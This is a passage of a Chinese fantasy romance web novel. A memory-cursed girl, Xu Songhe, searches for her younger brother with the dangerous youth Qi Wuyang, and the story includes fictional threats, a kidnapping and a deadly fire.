徐颂禾自语了一声,抬头一看,那光圈正不偏不倚地罩在自己头顶上。 “……” 原来恐惧到极点的时候是哭不出来的,她麻木地抱住脑袋蹲下来,紧紧闭上眼睛∶“你要杀就杀吧,就是……能不能不要让我死得那么难看?” 心里“阿弥陀佛”地祷告了好半晌,那全身被撕裂的痛感却迟迟没有传来,正当她奇怪自己是不是已经死了时,一枚石头轻飘飘落进手心里,已经完全熄灭了方才的亮光。 “是你?” 她有些错愕,这不是昨夜在棺材里看见的石头吗?祁无恙的东西,为什么会跑到她这里来? 不到五分钟前才用极其惊悚的方法杀了那么多人的“石头”此刻正一动不动地躺在自己手心里,那模样看上去竟还有几分乖巧。 看这样子,它应该暂时不会伤害自己? 徐颂禾扶着旁边的东西想站起来,双腿却直打颤——她觉得自己现在就像一个突然被赦免了的罪犯,还没从一波三折的死里逃生中缓过劲来。 不过现在管不了那么多了,这个东西威力那么大,带着它回去找祁无恙,再多人也不怕了。 思绪收回,见对方仍若有所思地看着自己,徐颂禾略加思忖,将方才的经过概括了几句讲给他听。 祁无恙眉尖微微收拢,似笑非笑地问∶“我的东西,为何会跟着你?” “可能……是因为那些符纸上有你的灵力,所以它被吸引来了?” 她也不清楚为什么自己没被下毒手,只随便猜测了一句,忽然“呀”的一声,转身就想往回跑∶“小白还在那呢,得快点回去找它。” “不用去了。” 徐颂禾刹住脚步,回过头狐疑地看着他。 少年微微一笑,掩住眸中冷意∶“他们最爱吃兔肉,你的兔子恐怕已经连骨头都不剩了。” “傀儡怎么会吃东西?”她瞪了他一眼,忽然后退一步,t用手指着他说道∶“我不信你的话,要是它不在了,最有可能成为凶手的人一定是你!” 祁无恙略微一怔,旋即笑出声∶“是我又能如何?你要为一只兔子跟我作对?” “你干嘛总和兔子过不去?”徐颂禾顿时哑口无言,憋了好半天才愤愤地吐出三个字∶“小气鬼!” 她说完,也不等他回答,便径自转过身,打算把他自己留在那。 还没等拉开多长距离,少女忽地停下脚步,转头望向四周,目光触及到他身上时,眼里露出几许迷惘,随后转变为愤恨。 “……又怎么了?” 祁无恙眼中淡淡笑意褪去,他敛起神色,指尖不受控制地跃出一线杀意。 ……傀儡咒又生效了。 她又像之前那样,把他给忘了。 一阵烦躁伺机溜进来,他扯了扯唇,冷眼看着面前的少女。 果然麻烦,她如果继续像上一会那样对他出言不逊,那就立刻杀了。 第38章 把光分给你 能有胆子这样看他的人, 早就连尸骨都不剩了,他极度厌恶猎物脱离掌控的感觉——从前一直是孤身一人,现在少了她也不会有任何影响, 那不如就直接杀了…… 然而, 眼前光影一晃, 她战战兢兢地举起手中的短刀指向他,结结巴巴道∶“是你要杀我弟弟?你把阿生抓到哪里去了?” 看来她现在的记忆还停留在他掐阿生脖子的时候,这会拿着刀, 是想替她非亲非故的弟弟报仇了。 他淡淡一笑, 朝她走来。 徐颂禾以为他要对自己动手, 急忙往后一退,后背却撞在一根树干上。她咽了咽口水, 紧张地看着来人,对方却仿佛看不见她手里的东西, 不知退缩地欺压过来,直至那柄冒着冷意的刀尖抵上他的胸膛。 “欸?!” 她赶紧撒手, 那把刀便咣当一声掉在了地上。 “你……你干嘛啊?”徐颂禾慌慌张张地问。 她从没杀过人,也没想过要杀人, 方才拿刀, 也只不过想威胁一下他,没想到这人居然不怕死,还朝自己凑过来了。 “看看你敢不敢杀我。” 祁无恙把她的两只手腕攥在一起, 捕捉到她眼里的慌乱, 他稍许不屑地勾了勾唇∶“被控制了还是这么胆小, 你不想找你的弟弟了?” “我是想找,但我……我也不想杀人呀。” “你想去哪找?” 徐颂禾思考了一下,忐忑地问∶“你也不知道?他……不是在你那里吗?” “我怎么会知道, ”他松开手,睨着她害怕又带点倔强,眼底漫上一丝玩味∶“他的确在我这,不过你不是不敢杀我么?” 趁他没再动手,她弯腰捡起那柄匕首握在手里,戒备地看着他∶“你把他怎么样了?” “忘了,”他目光扫过来,歉仄一笑∶“可能杀了吧,抱歉,记性不好。” 她盯着他看了一会,忽然毅然决然地转过身,把匕首别在腰间便要下山。 祁无恙声音冷下来∶“去哪?” 徐颂禾本来不想回答的,可是有一缕细细的丝线缠绕住她的手,竟无论如何也挣脱不开。 她只好回过头,不满道∶“你又不知道我弟弟在哪,我只能自己去找他了。” “找他做什么?”少年迎着她的目光走过来,抬手将缠在她身上的丝线尽数收回,“告诉过你要学聪明一些。” 她轻轻蹙眉,还没想明白这话的意思,便见他转目看过来,散漫一笑∶“不如选我,我有让你受过伤吗?” 徐颂禾扬起目光注视他半晌,最后偏了偏头∶“我认识你吗?” “……” 忘了她现在是具“活傀儡”了。 真烦。 上回的办法用一次也便罢了,对于一个没有灵丹的人,强行解咒比咒术本身的伤害还要大得多。 “要让我跟着你,也不是不可以,”她又开口道∶“我弟弟一定还活着,他肯定是从你手下逃出去了。他以前经常去一个地方,你要带我去。” 祁无恙垂眸看向她清澈的脸庞。 那小孩的傀儡术炼得远远不到火候,最多七日她便会醒来。 他虚拢着的拳头舒展开,哂笑一声∶“好啊。” 倒不是他想顺着她,只是多一事不如少一事,何况同一只随随便便就能捏死的蝼蚁,他也懒得动手。 七日罢了,也不是不能忍忍。 * 一滩黄色颜料洒在天边,大簇大簇云朵飘过,这个季节的风已经褪去寒冷,拂过人耳畔时,带着一股舒畅的凉意。 少女从摊贩上取下一副面具,将它戴在脸上,两个圆圆的洞里,漆黑的眼珠疑惑地看着身后的少年。 他黑下脸,淡淡地说∶“喜欢这个?” “不喜欢啊,”徐颂禾正想把它放回原位,垂下的面具却又被他拉了上去,她感到一根绳子被牢牢别在了耳后,只好无奈道∶“可是不是你非要让我戴的吗?” 面具戴稳后,祁无恙瞥了她一眼,没再说话。 只说要他带去找人,却没说她那亲爱的“弟弟”常去的地方是流云镇。 徐颂禾扶了下戴歪的面具,少年的身影已经越来越小,很快就要消失不见。 她急得喊了一声∶“喂,那个……” 他停下脚步,回过目光∶“怎么了?” 人潮在这时变得汹涌起来,攒动的人头隔绝了他们之间交汇的目光。天色虽还未暗下,各家各户却已经挂起了各式各样的灯笼,光晕流淌在青石板上,将长长的街道映照得暖融融的。 脸上的面具似乎将这份喧嚣隔开了一层,徐颂禾从两个圆圆的孔里望出去,目光掠过街上被抬着走过的一顶顶花轿,又扫过街边吹糖葫芦的老师傅,最后落到身后那个与周遭格格不入的少年身上。 祁无恙抱着双臂跟在半步之后,神色淡漠如常,丝毫融不进鼎沸的热闹里,仿佛和周围人不在一个世界。 轿夫和花轿顶上涂了一层胭脂,打扮奇特的人突然开始唱起戏来,腔调咿咿呀呀,她听不懂他们在唱什么,只是觉得新奇,便停下来多看了一会。 “不是要找人吗?”他的声音透过嘈杂的人群,清晰地传进耳中,“怎么,看戏比你弟弟的命重要?看来你也不是很在意他。” “谁说的?”徐颂禾瞪他一眼,没好气道∶“是你拉着我买面具,浪费了那么多时间。我现在就要去找他!” 她说完,刚转过身,忽然肩膀一痛,被人撞了个趔趄。 回归头时,少年的身影已经被淹没在人群中,怎么也找不到了。 “哎,你……你在哪儿?” 她忽然想起来自己还不知道他的名字,那就不管了吧,还是先找到阿生最重要。 可是阿生会在哪里?脑海里的记忆模糊不清,周围人群涌动,晃得她有些眩晕,眼前景象也跟着摇晃起来。 蓦地,一个矮小的身影闯入眼帘,只见几个壮汉粗暴地架着一个孩童,那孩童奋力挣扎着,满脸的怨恨,被按着后背推了一下后,又老老实实跟着走了。 “阿生?!” 居然敢这么对待他! 这些人一看就不是好惹的,她觉得自己眼下应该先稍安勿躁,找个趁手的武器再去救人。可阿生被人推推搡搡的,眼看就要走远了,她也顾不得那么多,摸了摸腰间那把刀,便急忙奔上前拦住他们。 那几人皱着眉看着莫名其妙闯来的少女,不耐烦地挥手道∶“干什么的?有事快说。” “我……”她张了张口,不知道该怎么说。 阿生的眼睛却在见到她的瞬间亮起来,呜呜咽咽地想开口,但发不出一点声音。 “你们对他做了什么?”徐颂禾将他这副模样看在眼里,顿觉气愤∶“欺负一个小孩算什么本事?快把他放了,否则,否则……” 否则……她也不知道怎么办。 其中一人扬起眉毛,问道∶“你是他什么人?” “我是他姐姐。” “你有姐姐?”他按着阿生,忽然大笑起来∶“中蛊术的原来还有活人?正好把她也带回去,让宗主好好研究研究。” 话音方落,阿生挣扎着想阻止他们,那人一只手按住他,另一只手疾向徐颂禾探去。 她心头一慌,手忙脚乱地拔出匕首,不慎在他手臂上划了长长一道口子。 “……”完了。 她抬起头,果然见那人脸色铁青,眼中凶光毕露。其余两三人见这看似怯懦的少女竟敢动刀伤人,也不再客气,呈合围之势逼了上来,粗壮的手臂眼看就要抓到她。 徐颂禾握着匕首的手微微发抖,她不敢再刺第二下,下意识地闭紧了眼睛。 预想中的擒拿并未到来。 下一刻,手腕覆t上一层冰凉的温度,一股不容抗拒的力道将她往后一扯,睁开眼时,一道红色身影已经挡在了自己身前。 她偏了偏头,看向那张熟悉的脸。 不知为何,他一来,方才的紧张害怕便一扫而空了,就像吃了一颗定心丸。 少年攥着她手腕的力道未减,淡淡掀眸,皮笑肉不笑地扫视他们∶“抱歉,弟弟死了之后她的精神便不太正常,添麻烦了。” 听见不是蛊术,那几人面面相觑,都惋惜地叹了一声。眼下急着赶路,又不好和一个弱女子计较,便绕过他们,一言不发地继续赶路。 “哎,阿生——” 徐颂禾还想再追,忽然间手腕被人扣下来,后背重重撞上了一个胸膛。 “你想死吗?” 她抬起脸,看清他眼中的冷意,不由自主地哆嗦了一下。 那些人已经走远了,追上去也无济于事,她只好悻悻作罢。 “多、多谢你啊,”徐颂禾打量着他,紧张地问∶“你没有受伤吧?” 他看上去倒是没什么事,就是脸色不太好。 她被拉着不知要走去哪里,街上灯笼亮了一片,他身上却没有一丝亮光。她摊开手心,在他拉着自己的那只衣袖上拍了拍。 祁无恙放缓了步调,回头看她一眼∶“做什么?” “你身上好暗啊,”她把自己的手伸过去,手心里那点暖黄的光点便跳到了他身上,“人要有了光才会越来越好,这里的灯笼那么多,却不分一点光亮给你,太不公平了。” 少女弯起眸子,眼里盛满色彩∶“不过没关系,我给你就好了。” “……” 他没有接话,只是攥着她的力道稍稍减轻。他们一路沉默地走进一家客栈,并被告知只剩最后一间客房。 幸好两张床是分隔开的,第一次和一个男子在人生地不熟的地方睡觉,徐颂禾连外衣都没解,就这样和衣躺下了。 他之后就没说过话,一直安安静静的,也不知是不是睡着了。 但她心里挂念着阿生,没功夫想那么多——反正只是个暂时一起的搭子罢了,在意他干什么呢? 入夜,她翻了个身,无意识呢喃∶“阿生,阿生——唔……” 一丝冰凉的触感爬上手腕,徐颂禾一个激灵睁开眼,对上少年灼灼的目光。 “没什么,别紧张。”他状似安抚地说了一句。 见她醒来,他非但没有退开,反而就着眼下俯视她的姿势,极缓地勾起唇角∶“你可以继续睡了。” “……” 这人什么毛病?徐颂禾无语地翻了个白眼,大晚上又不想吵架,正想转个身继续睡,忽然听见身后一声轻笑。 大半夜不睡觉到底要干嘛?不会是对她图谋不轨吧? 心跳加速了些,她勉强睁开眼,桌案上烛火摇曳,正好照在窗台倒映出的少年脸上。 显得那张脸一半是血红,一半是黑暗,可怖极了。 “另外提醒一下,”他不紧不慢出声,笑容恶劣∶“我睡觉不喜欢被人打扰,你如果再喊一句那个名字,我就弄死他。”—— 作者有话说:某人以前∶她喊破嗓子我也不会回来的[白眼] 现在∶阿禾,不如选我[可怜] 妹宝以前∶祁公子……(小心翼翼) 现在∶祁无恙![愤怒] 阿生∶没有人为我发声吗[柠檬] 第39章 兔子的醋也吃 “……” 他好坏啊。 徐颂禾装死不理这话, 随后听见窸窸窣窣的声响,她不敢转身去看,正当以为他已经睡着了时, 又听见一道轻飘飘的声音落在耳边∶ “明天我会出门, ”他淡淡地说, 她想象不出他现在脸上的表情,“你最好待在这等我回来,否则就别想再见到你的好弟弟。” 徐颂禾手指轻轻抖了一下, 赶紧闭上眼不敢吭声。 怕自己下半夜又说梦话, 他会真的杀了阿生, 她于是硬是撑着眼皮,一整晚没敢睡熟。 一缕温和的阳光穿过窗台洒在手上, 她揉了揉惺忪的眼,从榻上坐起身来, 又看了一眼躺在床上一动不动的人,略感到疑惑。 他不是说要出门吗?现在天还没大亮呢, 怎么这么快就回来了? 徐颂禾在他身旁站了一会,最后犹豫着伸出手推了他一下, 小声道∶“喂, 你不是说回来要带我去找人吗?” 他仍旧没有动静,难道是昨天半夜出门,累得睡着了? 徐颂禾干脆不理了, 随意梳理了一下妆发, 理好衣服便要离开。 打开门前, 她又停顿了一下,踌躇不决地回望向他,最终还是挪步回去, 在他肩上轻轻晃了晃∶“你……你怎么了?” 她方才弄出老大动静,这人居然一点反应都没有,该不会是生病了吧? 找阿生最重要,她本来不应该管的,但他昨日毕竟救了自己,忘恩负义好像不太好。 徐颂禾微微弯腰,指尖在他额头上碰了碰,被突如其来的冰凉弄得一愣。 一股不祥之感瞬间围拢了她。 “你醒一醒呀……” 她又唤了一句,伸出手去想再感受一下他的温度,随即一怔。 他怎么……怎么没有呼吸了?! 瞥见他胸膛处也没有了起伏,徐颂禾吓得后退一步,紧紧捂住嘴,险些尖叫出声来。 “你……你怎么……”良久,她又在他身上推了推,无措地看向四周。 这时天方亮起,街道上行人稀疏,客栈内更是静得针落可闻,她急得四望,却一时找不到可以求助的人。 一个好端端活生生的人,睡了一觉后突然就没有呼吸了,这到底是怎么回事?! “你别死呀,”确认自己不是在做梦后,她使劲在他手臂上掐了一把,道∶“你一定是生病了,我出去找药,你要等我回来啊!” 他要是真的就这么死在这里,被别人知道了之后,她可就百口莫辩了。 况且,还不确定他有没有救,她不能就这样把他抛下了。 思及此,眼神无意间瞥到别在腰上忘记取下来的面具,她撇撇嘴,把它扔在了桌上。 抛开这个不说,他什么癖好?她又不是见不得人,干嘛要戴着个丑面具? 正要打开门,忽然想到其余客人尚在睡觉,徐颂禾便放轻了脚步,蹑手蹑脚地走出门去。 在大街上漫无目的地转了一会儿,她的目光最终锁定在一家药铺上。 她走进去才想起来身上没有银子。 药铺掌柜似乎看出她的窘迫,乐呵呵道∶“小姑娘,你买什么药?” “我……我没有钱。” “没关系,不要钱。”她说完,问道∶“你生了什么病?” 好问题,徐颂禾思索了好半晌,才说∶“倘若有人睡醒后就没有呼吸了,该吃什么药呢?” 那掌柜的显然也被她这话听得膛目结舌,但随后很快笑道∶“你这小姑娘倒挺可爱,那大概是生病昏过去了,可不是死了。况且,我这可什么都能治,宗主前段时间受了伤,现在还在里面上药呢,你不信的话,可以进来瞧瞧。” 徐颂禾不懂什么宗主,但是听这语气,应该是个地位极高的人物,连他都信任的药铺,看来是没问题的了。 “听说宗主他老人家前不久遭暗算受了重伤,这几日火气旺得很,动怒对养伤可大为不利,”掌柜的拉开里屋的帘子,招手示意她进来,“让你那位朋友这段时日少生些气,这样病才能好得快。” 徐颂禾一边点着头,一边跟着她往里探了探脑袋。 只见一个露着脊背的男人正背对她坐着,身上伤痕累累,白花花的药膏涂上去,他闷哼一声,掌柜的便接话道∶“还请宗主忍忍,你身上这些伤有些重,处理起来感到疼是正常的,不过您还是得多加注意,下回莫要和人逞强……” 还不待她说完,卓不凡的脸色更加难看∶“谁逞强了?我堂堂宗主,还能被他一个妖孽给怎么样了?那日他身上有伤,分明是个绝佳的机会,却没想到那丫头鬼点子颇多,竟敢用树枝暗算我,若不是我一时大意,又怎么会着了她的道?” 八卦之心人人有之,看她拿药的间隙,徐颂禾按捺不住问了一嘴∶“是什么人这么有本事,敢暗算宗主?” “你不知道吗?”掌柜的看她一眼,忽然把她拉到一旁,放低声音∶“听说宗主追杀祸害百姓的妖孽去了,眼看就要成功了,可谁知那妖孽还收买了一个帮手,他本来没把这丫头片子放在心上,却不成想偏偏被弄成了重伤。” 她说完,又提醒道∶“这话你可别让他听见,万一动起火来t,伤势又该复发了。” 徐颂禾听得似懂非懂,她和这位宗主素不认识,但发自内心地觉得这姑娘大有前途,连这么厉害的人都能扳倒,干什么要跟着一个妖孽? 她接过掌柜递来的药,正要道谢,忽然帘子再度被掀开,走进来一个年纪和她一般大的少年。 那少年躬身行礼,毕恭毕敬地唤了一声爹。 不知怎么,居然觉得有些眼熟。 “多谢掌柜的,我就先走了。”徐颂禾道过谢,这一出声,那位公子恰好抬头朝她看了过来。 “是你!” 他双眼蓦地瞪圆,唰的一下拔出剑指向她,喝道∶“都进来给我抓住她——爹,孩儿现在就为您报了那日的仇!” 徐颂禾吓得手一抖,药包掉在地上洒了出来。 她没有任何挣扎的余地,双手被牢牢制住,几个士兵就这样押着她走出了药铺。 “你们抓我干什么?”不明不白被这样对待,偏偏又打不过,徐颂禾只好气得骂个不停∶“我可是三好公民,拿药不付钱也是人家老板准许了的,你们凭什么抓我?” “给我老实点!” 卓子寻按着她肩膀把她推进一个昏暗的房间里,又将那把剑悬在她颈前,喝问道∶“快说,祁无恙那厮在哪?” 他盘算着这也才过去几天,如果祁无恙伤势尚未恢复,那就大有机会将其诛杀。 “谁?”手腕被紧紧束缚着的铁链硌得生疼,徐颂禾蹙了蹙眉,顿时颇为恼火∶“我怎么会知道他在哪?你这样不讲理地把我抓过来,就是为了问一个我不认识的人?” “你是把我当傻子吗?!”卓子寻手一伸,剑刃又朝她脖颈送进了几分,“你和他分明就是一伙的,当初害得我和父亲差点丧命,现在怎么好意思装不认识?” 天地良心,她真的不认识那个人,这要她说什么? 不过幸好卓子寻火气虽大,一时却也没打算和一个手无缚鸡之力的少女用剑。他将剑收回鞘中,又取来一条长鞭,重重甩在木桌上,登时木屑飞溅,算是对她的恐吓。 等一等,这剧情怎么似曾相识? 一股寒意顿时从心底升起,徐颂禾一边庆幸刚才那一下没抽到自己,一边又在害怕会不会下一次这鞭子就落到她身上了。 “我说,我说行了吧?”见他放下了鞭子,徐颂禾牙一咬心一横,道∶“他其实早就死啦。” 卓子寻闻言明显一愣∶“死了?” “对啊,”她回想着方才的话,一本正经地编道∶“他被你们伤的太重,我也没有办法,捱不过几日就死了。” “少骗我!”卓子寻冷冷道∶“看来是要用上次的办法,你才能开口的了。” 上一次?什么上一次?然而还没等她想明白,那鞭子便带着劲风落了下来。 徐颂禾立刻偏过头紧闭上眼,意料之内的疼痛却并未袭来,睁眼一看,竟见一只兔子牢牢咬住对方虎口,卓子寻吃痛喊出声,那鞭子也掉到了地上。 她趁机努力伸直腿,把鞭子勾了过来,又弯腰把它攥在手里,不给他再次动手的机会。 “去去去,哪里来的死兔子?”卓子寻一把将它拍开,心头怒火更盛,拔剑便要刺向它。 “哎等等,”徐颂禾急忙阻止他∶“我刚才说了你又不信,多的我也不知道了。而且你有话就问我,兔子又不会说话,你和他过不去干什么?” “你知道什么?”他拉下脸,走近一步朝她伸出手∶“把东西还我,否则这一剑刺的就不是它,是你。” 徐颂禾攥得手心都被磨破了皮,也不肯松手还给他。 先疼后死还是一下子死掉,她心里还是有数的。 只见眼前青光一闪,她甚至还来不及闭眼,那柄剑忽然硬生生从中间折断了。 徐颂禾脑子一阵蒙圈,手上的铁链骤然松开,她没功夫多想,双脚一着地便立刻跳开,还不忘抱起地上的兔子,刚逃到门口便和一个人撞了个满怀。 这又是哪路的?早知道来找个人要遭这么多罪,就让阿生自己想办法逃出来好了。 “你是什么人?”卓子寻见居然有人敢劈断自己的剑,又气又心疼∶“你……你竟敢弄坏我的剑,你知道我是谁吗?!” 徐颂禾一点不想掺和他们之间的事,满脑子只想跑,但对方就那么拦在门口,她想往左跑,他也不动声色地往旁边挪。 她觉得莫名其妙∶“对呀,你是谁啊?干嘛拦着我?” 少年低眸睨着她,那只手心里被磨出的血都沾到了兔子的白毛上。 “现在不怕死了是么?”他微微勾唇,一双黑眸里笑意沉沉∶“让等我回来记不住,这兔子你倒是记得清楚。” 第40章 打回去 少女眼瞳微微一缩, 仰起头来端详着他,一双杏眼里满是震惊。 “是你啊?” 祁无恙冷下脸,眼里盛着讥讽∶“你以为还有谁能救你?是你的好弟弟, 还是它?” 它还真的救了她。 徐颂禾把兔子抱得很紧, 说道∶“我没有不等你啊, 是你怎么都叫不醒,我以为你生病了才出来买药的。” 他闻言脸色似乎稍有缓和,却仍杵在门口不让她出去。 “原来你没生病啊, 这是你新买的人皮面具吗?” 徐颂禾偏偏头, 好奇地看着他。她第一次看见如此逼真的面具, 踮脚想摸摸是什么感觉,就被他扣着手腕按了下来。 一说到面具, 他语气不虞∶“你的面具呢?为什么不戴?” “丑啊。”她理所当然地说,“要不……你帮我弄个和你一样好看的?” “喂, 你们有没有在听我说话?”卓子寻握着一把断剑,气急败坏地道∶“你们弄坏了我的剑, 必须赔给我!” “我们快走,别理这个……这个傻子, ”徐颂禾推搡他一下, 小声说∶“他刚才一直逼问我一个我不认识的人的下落,我没办法,只好说那个人已经死了, 他不信也就罢了, 还要拿鞭子打我……” “……” 听见动静, 祁无恙终于抬眼瞥向持着短剑冲上来的人,漫不经心地抬起手,只听喀喇两声, 方才断成两截的铁链被重新捞起,这一回,牢牢缚在了卓子寻两只手上。 他又惊又怒,铁链被晃得吱呀作响∶“你做什么?你居然敢绑我,知道这是谁的地盘吗?!我知道了,你一定也和那妖孽是一伙的,你们合起伙来对付我一个!” 徐颂禾还没缓过神来,忽然手上一沉,怀里的兔子换成了沉重的长鞭。 “打回去。” 一道不轻不重的声音落下来,她诧异地抬起眼,慌忙把鞭子塞回去∶“不不……不用了,其实他刚才只是吓唬我的,没有真的打我。” “你不记得了而已,”他淡淡哂笑,说∶“等你想起来,就会后悔现在没有好好报仇。” 徐颂禾真真切切地感到头大——这种事情是她一个三好公民能干的吗?她试着抬了抬鞭子,看着被铁链架起来的人,怎么也下不去手。 倏地,一个白色的团子从眼前闪过,定睛一看,只见那只兔子趴在卓子寻肩上,好笑的是,它的前腿还努力地向上抬起,摆出一个保护的姿势。 一个小得不起眼的雪团子就这样拦在他们面前,那场面看上去颇有几分好笑。 徐颂禾立刻松了口气,转头看向身后的人,道∶“你看吧,连兔子都觉得残忍,我们还是走吧。” “你走,我不用你的保护!”卓子寻脸色涨得通红,怒骂了一句。 徐颂禾不想再待在这,她刚转过身,肩膀上微微一沉,那只兔子已经轻巧地跃了上来。 眼瞳里倒映出的少女身影逐渐缩小,他回过头,一言不发地将目光投到面前的人身上,眼神陡然一沉,方才的玩味荡然无存。 “抱歉,来得晚了,没能看清,”少年踱步朝他走近,抬手按在他肩膀上,微微笑道∶“你方才是怎么对她的,能否再演示一遍?” 卓子寻脸色苍白,怒视他一眼后,高喊一声∶“你们都守在门口干什么?有人进来了看不见吗……” “你是说他们吗?” 祁无恙侧过身,只见他的身后横七竖八地躺着几个道士,不知是死是活。 蓦地,他垂手扼住那只脆弱的脖颈,在对方惊恐的注视下微眯起一双眼眸∶“怎样死最痛?被掐死如何?” 卓子寻瞪圆了一双眼睛,发不出声音。 正当他以为自己就要命丧黄泉时,那只手却骤然松开t,他如蒙大赦,大口大口喘着气,颇有劫后余生的庆幸。 “你……你是……”他隐隐猜到了来人身份,眼中既有对死亡的恐惧,也有对对方不杀自己的困惑,“不杀我算你识相!否则等我爹恢复了,一定饶不了你。” 这话喊得大声,可对方却连一个眼神也没再给他,只沉默地踏出门,不消片刻,那鲜红的背影便消失在视野中。 卓子寻两只手仍被铁链束缚着,却觉得从未有过的轻松——不过,爹不是说,这妖孽换了身体后灵力大有削弱,正是将其诛杀的好时机吗?可方才,方才他分明不像是灵力减弱的模样…… 想到这,他蓦地身躯一震,眼露惊恐。 如果真如父亲所说,那祁无恙恢复全部灵力后,会是什么样?他们还能有机会和他抗衡吗? 然而他没能思考出答案,一股烧焦的味道钻入鼻中,卓子寻满不在乎地一瞥,这一眼却叫他目瞪口呆。 只见桌案上的蜡烛不知何时被打翻了,烛火顺着布帘迅速上窜,糊味瞬间蔓延整间屋子。 他瞳孔猛地一震,大喊道∶“有没有人啊?快……快来救我!” 余光瞟见地上躺着那柄断剑,他抱着最后的希望,伸脚试图将它够到身旁。 可差一点点,为什么只差一点点? 是祁无恙干的,他一定是故意的! 明明能斩断束缚的剑刃就在不远处,可偏偏因着咫尺距离,只能眼睁睁看着自己被大火活活烧死。 外面人迹罕至,路过的行人不知是没有听见,还是不愿冒险进来救他,一刻钟过去了,他的呼喊仍得不到回应。 耳边声音已经逐渐淡去。 火势越烧越旺,他仰起头,眼神中透露着绝望。 * “哎,你怎么走得这么慢?” 走出去一段路后,徐颂禾才停下脚步,回头看着姗姗来迟的人,“你留在那做什么了?” “没什么,”他的语气轻描淡写∶“去处理了一些杂事。” “你……没把那个人怎么样吧?”她试探着问,“他虽然不讲理,但也罪不至死,你……你可别动手杀他。” “当然,”他摊开手,一脸无辜∶“我没和他动手。” 她略微安心,见他有意无意地盯着自己怀里的兔子,便把它捂紧了些∶“还有,你不能找兔子的麻烦,它刚才可是救了我,要不是它,我都等不到你过来了。” 他其实看的本来就不是兔子,这话像是一个提醒,他偏过目光,定格在那只拉满戒备的兔子身上时,眼神里有一闪而过的诧异,旋即被浓烈的嫌恶取代。 徐颂禾丝毫没察觉到他的神色变化,正满脸新奇地打量四周,忽然一只手伸过来,怀中的兔子就这样毫无防备地被夺了过去。 “你干嘛抢我的兔子?” “你的?”祁无恙勾起唇,那笑意分毫不达眼底∶“不许抱它了。” 他两根手指捏着绒毛耳朵边缘,小白奋力挣扎着,但很显然挣不开。 她气鼓鼓地瞪他一眼∶“你是我什么人啊?管我抱不抱它?” “脏,而且,也不是你的。” “难不成是你的?”她想也没想就反驳∶“这上面写你名字了?” 少年平静地看着她,眼神似一潭波澜不惊的湖∶“我不识字,上面有你的吗?” “我……” 徐颂禾刚想反驳,听见这话微微一愣∶“那你……会写自己的名字吗?” “不会。” 她沉默了一下,对方的视线直勾勾落在她脸上,似乎看穿了他心中所想。 祁无恙轻轻一笑,说∶“我没有爹娘,很早就没有。” 这个人怎么……这么可怜? 徐颂禾不说话了,斟酌着言辞,小心翼翼不去伤到他∶“等找到了阿生,我教你写字可好?” 没等他接话,她又自顾自地说∶“不行不行,一会就有机会教你了。” 她转身敲开了一家屋门,讨要了纸笔,把纸按在墙上,思索着落笔。 “你过来嘛。”她转头看向祁无恙,朝他招了招手。 他的目光略显困惑,手中那只兔子还在一刻不停地躁动,脏兮兮的毛蹭过他的手指。 徐颂禾奇怪地看着他∶“怎么啦?” “做什么?” 他强压住把兔子大卸八块的念头,走到她身旁,瞥了眼贴在墙上的纸。 “昨天那些人早就不知道去哪了,我们这样找,恐怕有些费力,”徐颂禾拍了拍那张纸,说道∶“阿生以前经常跑来玩,这里的人都差不多认识他了,贴上他的名字,如果有人看到过,肯定会来找我的。” 祁无恙视线放过去,一个一个线条画得笔直工整,拼凑出来的字他却一个也不认识。 她挥挥手,示意他再近一些,抬眸看向他时,眼睛亮亮的∶“你抓着笔,我教你写字呀。” 见他不动,她干脆伸手拉过他的手腕,把笔塞进他手里。 “笔要这样拿,”她自然地调整他握笔的姿势,手指轻轻搭在他手背上,“先写你的名字——哎,你这样拿着兔子是不是不方便?要不……先把它放了。” 祁无恙笑了笑∶“你怕它疼?” “我……” “放心,像它这么脏的东西,我根本不会用力去碰。” 她都有些无奈了∶“你别老这么说,兔子是通灵性的,它能听懂。” 他淡淡道∶“你怎知我不是说给它听的?” 徐颂禾不说话了,她偏过头,忽然想起一件事∶“对了,你叫什么名字呀?” “不能教我写你的吗?”他笑着说∶“认字而已,认谁的都一样,不是么?” 这话好像也有道理,徐颂禾牵过他的手,引着他手里的笔在纸上移动。 他微微垂眸,墨迹正缓慢地在纸上晕开。 “这是我的名字,不过,笔画太多了,你一下子记不住也没关系……” “你们这是在找人吗?” 身后有道苍老的声音响起,徐颂禾松开手,立马迎上去∶“老婆婆,您见过他是不是?” 老婆婆看了眼她身后的人,点点头∶“昨天有一伙人,把他带到那个地方去啦。”《 》 40-50 第41章 你就是在乎她 “那……回来后有机会再继续教你呀。” 趁他分神, 徐颂禾飞速抢回兔子,回头望了他一眼,不确定他是否还要陪着自己, “有机会”这三个字, 也就意味着大概率没有下次了。 可那双黑眸平静地看过来, 仿佛极认真地记下了这话。 她弯腰把兔子放在地上,温声道∶“小兔子,我可不是去玩的, 你快些回家吧, 今天谢谢你啦。” 可刚走出两步, 脚腕上一阵痒痒的触感,回头一看, 那兔子又跟了上来,还十分利索地顺着手臂爬上她的肩膀, 趴在上面一动不动了。 “……” “小姑娘,我看你好像不认路吧?”老婆婆又出声道, “阿生这孩子活泼可爱,昨日那几人一看就不是什么好东西, 这么好的孩子, 太可惜了……” 徐颂禾急忙摆手拒绝∶“不用了,多谢婆婆,怎么能麻烦您……” 谁知话未说完, 那婆婆竟低头抹起了眼泪, 她微微一顿, 不知是自己哪句话出了错,便住嘴不敢说了。 “我无儿无女孤苦伶仃,只有阿生会时常来看望我, 如今他出了事,我也只是想能帮上忙……” 徐颂禾见状也不好再说什么,只是略微感到奇怪——记忆里,阿生虽然时不时会到小镇上来,可他天性爱玩,兜里有没什么钱,每回都只在街边晃悠,什么时候去陪伴过老太太了? 见老婆婆还在哭,她只好说∶“那就麻烦您了……只是那些人不是善茬,您到了那之后,可要多加小心呀。” 也不知怎的,从方才起,脑袋就一直昏昏沉沉的,脑海中穿插的画面也有些混乱,但这都还不算什么。 最可怕的是,她明明要去找阿生,但是现在…… 现在她居然有些不记得自己亲弟弟的模样了! 为什么会这样?难道是今天太阳太火辣,给她晒晕了? 徐颂禾抬起头,恰好一片阴影从头顶笼罩下来,她回过头,诧异的目光和身后的少年碰上。 “你不是走了吗?” “我什么时候说我要走了?”祁无恙将她上上下下扫视了一遍,玩味地笑了声∶“你从前不是很谨慎么?怎么,现在敢随随便便跟着一个陌生人走了?” 他这一番话点醒了她——对啊,这位婆婆在记忆里就没出现过,她凭什么就这样轻易地相信别人? 不过这老婆婆那么慈祥,又t那么喜欢阿生,应该也不会对她做什么。 